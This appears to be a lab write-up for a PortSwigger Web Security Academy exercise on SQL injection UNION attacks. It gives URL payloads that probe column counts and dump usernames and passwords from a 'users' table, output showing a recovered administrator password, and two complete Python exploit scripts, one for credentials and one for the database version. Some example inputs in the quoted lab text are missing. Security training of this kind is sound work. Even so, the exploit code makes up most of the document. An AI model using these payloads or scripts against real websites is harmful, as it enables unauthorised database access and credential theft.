In the preceding example, suppose instead that the query only returns a single column.

You can easily retrieve multiple values together within this single column by concatenating the values together, ideally including a suitable separator to let you distinguish the combined values. For example, on Oracle you could submit the input:

This uses the double-pipe sequence `||` which is a string concatenation operator on Oracle. The injected query concatenates together the values of the `username` and `password` fields, separated by the `~` character.

The results from the query will let you read all of the usernames and passwords, for example:

Note that different databases use different syntax to perform string concatenation. For more details, see the [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The database contains a different table called `users`, with columns called `username` and `password`.

To solve the lab, perform an [SQL injection UNION](https://portswigger.net/web-security/sql-injection/union-attacks) attack that retrieves all usernames and passwords, and use the information to log in as the `administrator` user.

You can find some useful payloads on our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

- we need to determine the number of columns and how to determine data type of string on the database. we can use the previous source code to the determine number of columns and data type string.

analysis:

`https://ac571f8b1e65b8e6c0bxxxxxxxxxx.web-security-academy.net/filter?category=Accessories' ORDER BY 2--` it doesn't get an error, so the numbers of columns is `2`, then let's use the union attack to find data with string type

`https://ac571f8b1e65b8e6c0bxxxxxxxxxx.web-security-academy.net/filter?category=Accessories

UNION SELECT NULL, 'test'--` the string `test` has been inputed on the column number 2


- In this case, we need to retrieve all usernames and passwords from the database. here below the following command to retrive all username & password

`https://ac571f8b1e65b8e6c0b80f5e00f400a1.web-security-academy.net/filter?category=Accessories' UNION select NULL, username || ':' || password FROM users--`

- we can retrieve the database version from this lab

`https://ac571f8b1e65b8e6c0b80f5e00f400a1.web-security-academy.net/filter?category=Accessories' UNION select NULL, version()--`


$ python3 sqli_lab_06.py "https://acb91fb01e4afc7dc0d4991700de003a.web-security-academy.net"

>> SQL injection UNION attack, retrieving data from other tables

>> by Port Swigger Academy

[*] Dumping the list of usernames and passwords...

[✓] Found the Administrator password...

[✓] The administrator password is 'sx6gnnlga7ga8cjw1kvd'

$ python3 sqli_lab_06b.py "https://acb91fb01e4afc7dc0d4991700de003a.web-security-academy.net"

>> SQL injection UNION attack, retrieving multiple values in a single column

>> by Port Swigger Academy

[*] Retrive dbms version...

[✓] Found the DBMS version.

[✓] The dbms version is 'PostgreSQL 12.10 (Ubuntu 12.10-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bit'

import requests

import sys

import urllib3

from bs4 import BeautifulSoup

import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Interface ():

def __init__ (self):

self.red = '\033[91m'

self.green = '\033[92m'

self.white = '\033[37m'

self.yellow = '\033[93m'

self.bold = '\033[1m'

self.end = '\033[0m'

def header(self):

print('\n >> SQL injection UNION attack, retrieving multiple values in a single column')

print(' >> by Port Swigger Academy\n')

def info (self, message):

print(f"[{self.white}*{self.end}] {message}")

def warning (self, message):

print(f"[{self.yellow}!{self.end}] {message}")

def error (self, message):

print(f"[{self.red}x{self.end}] {message}")

def success (self, message):

print(f"[{self.green}✓{self.end}] {self.bold}{message}{self.end}")

global output

output = Interface()

output.header()

proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def exploit_sqli_users_table(url):

username = 'administrator'

path = '/filter?category=Gifts'

sqli_payload = "' UNION SELECT NULL, username || ':' || password FROM users--"

r = requests.get(url+path+sqli_payload,verify=False,proxies=proxies)

response = r.text

if 'administrator' in response:

output.success("Found the Administrator password...")

soup = BeautifulSoup(r.text, 'html.parser')

admin_password = soup.find(text=re.compile('.*administrator.*')).split(":")[1]

output.success("The administrator password is '%s'" % admin_password)

return True

return False

if __name__ == "__main__":

try:

url = sys.argv[1].strip()

except IndexError:

output.info("Usage: %s <url>" % sys.argv[0])

output.info("Example: %s www.example.com" % sys.argv[0])

output.info("Dumping the list of usernames and passwords...")

if not exploit_sqli_users_table(url):

output.error("Did not find an administrator password.")

import requests

import sys

import urllib3

from bs4 import BeautifulSoup

import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Interface ():

def __init__ (self):

self.red = '\033[91m'

self.green = '\033[92m'

self.white = '\033[37m'

self.yellow = '\033[93m'

self.bold = '\033[1m'

self.end = '\033[0m'

def header(self):

print('\n >> SQL injection UNION attack, retrieving multiple values in a single column')

print(' >> by Port Swigger Academy\n')

def info (self, message):

print(f"[{self.white}*{self.end}] {message}")

def warning (self, message):

print(f"[{self.yellow}!{self.end}] {message}")

def error (self, message):

print(f"[{self.red}x{self.end}] {message}")

def success (self, message):

print(f"[{self.green}✓{self.end}] {self.bold}{message}{self.end}")

global output

output = Interface()

output.header()

proxies = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}

def exploit_sqli_dbms_version(url):

path = '/filter?category=Gifts'

sqli_payload = "' UNION SELECT NULL, version()--"

r = requests.get(url+path+sqli_payload,verify=False,proxies=proxies)

response = r.text

if 'PostgreSQL' in response:

output.success(" Found the DBMS version.")

soup = BeautifulSoup(r.text, 'html.parser')

dbms_version = soup.find(text=re.compile('.*PostgreSQL.*'))

output.success(" The dbms version is '%s'" % dbms_version)

return True

return False

if __name__ == "__main__":

try:

url = sys.argv[1].strip()

except IndexError:

output.info(" Usage: %s <url>" % sys.argv[0])

output.info(" Example: %s www.example.com" % sys.argv[0])

sys.exit(-1)

output.info(" Retrive dbms version...")

if not exploit_sqli_dbms_version(url):

output.error(" Did not find and dbms version")